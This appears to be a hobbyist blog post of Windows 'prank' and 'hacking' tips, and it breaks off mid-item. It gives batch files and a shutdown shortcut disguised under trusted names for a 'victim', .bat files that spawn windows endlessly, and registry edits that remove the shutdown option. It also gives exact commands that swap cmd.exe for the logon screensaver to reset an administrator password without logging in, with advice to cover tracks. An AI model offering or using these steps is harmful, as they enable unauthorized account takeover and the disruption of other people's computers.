In this post I m going to tell the various emotions of people when they see their PC's behaving unexpectedly.All you need is one friend and his computer system and of course some privacy!!!
So here are few easy ways to do that:-
1)Run an application and see unexpected expert comments.
Its the easiest way to make your friend smile or frown depending on your intentions.
a)Create a textfile in notepad and type msg *YOUR COMMENTS. Save the file as anything.bat(Use any fancy name here to attract your victim). Also remember to put it under the category of All Files while saving.
b)Now you just need to make your victim click on that file.
2)Forced shutdown of a computer after a timer.
This will display a custom error message and start a countdown which will shut down the computer.
1)Right-click your desktop and create a new shortcut.
2)Paste the following code into the Location box in the Create Shortcut menu:
shutdown -s -t 30 -c “Your message here“
3)Replace 30 with the length of the countdown you want (in seconds) and place your custom error message between the quotes.
4) Click next and name the shortcut to something the victim would be likely to click on such as “Internet explorer” or “My Documents”, etc.
5)Next you’d want to change the icon. Right-click on the shortcut you made and click properties. Find the Change Icon button and click it. Choose a suitable icon for the name you chose earlier.
And that’s all! Now you just have to sneak the shortcut onto the victim’s desktop and run!
Note: to stop it, open Run from the start menu and type shutdown-a.
3)Endless Command prompt windows
This will open up a series of command prompt windows that will never end.
The basic idea is that there are two .bat files that open the other one when opened, so the other one opens the first one again and the windows just won’t stop coming.
How to do this:
1. Fire up notepad and type: start 2.bat
2. Save it as 1.bat (make sure you choose all files when saving it)
3. Make another new text document and type: start 1.bat
4. Save it as 2.bat into the same folder as the other one.
All you have to do to start it is to click on either of them.
The only way to stop it is to wait for the windows to become so numerous that they are a group on the taskbar. Then you can use Close group to get rid of the sequence.
4)Fake Command prompt viruses
These are also a good way to make the victim believe that a worm is gnawing at their hard drive and that they can’t do anything to stop it.
Open up notepad and type @echo off
* To make text appear, type it after an echo tag.
* To have the the commands wait for the user to press any key type pause
(Note: if you write pause >nul it won’t display Press Any key to continue…)
* To have a complete high-speed description of files in the drive of the .bat file, type dir /s
* You can also initiate any other command we covered earlier, such as shutdown, error message, etc.
5.And why no include all of these in one fake virus?

Uh..mm now you guys must be wondering what is registry??
ah..well Windows Registry is a hierarchical database blah..blah..blah..thats wiki for you.In simple words its a system file containing all sorts of information about the Windows operating system itself.
To edit registry.
1.Click on Start.
2.Click on Run.
3.Write regedit in the space provided.
You must also take back-up of your registry as described in the later post.
Now you can try out the following hacks:
1.No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"
2.Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"
After you have had the fun,just restore the backup of the registry as descibred in the post on how to restore registry.
So this is our first post on hacking and we have tried to keep this as simple as possible.
1.Password Hacking-If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly(Note:*=comment):
cd\ *drops to root
cd\windows\system32 *directs to the system32 directory
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backs up logon.scr(scr=screensaver)
copy cmd.exe temphack\cmd.exe *backs up cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user
If the Administrator Account is called Batman and you want the password to be joker enter this
"net user Batman joker"
and this changes the password on Batman's machine to joker and your in.
Fairly simple and easy.Isn't it?(Please comment)
Very Imp: Do not forget to copy the contents of temphack back into the system32 directory to cover tracks.
2.Create a Shortcut to lock your computer-
Leaving your computer in a hurry but you don’t want to log off?
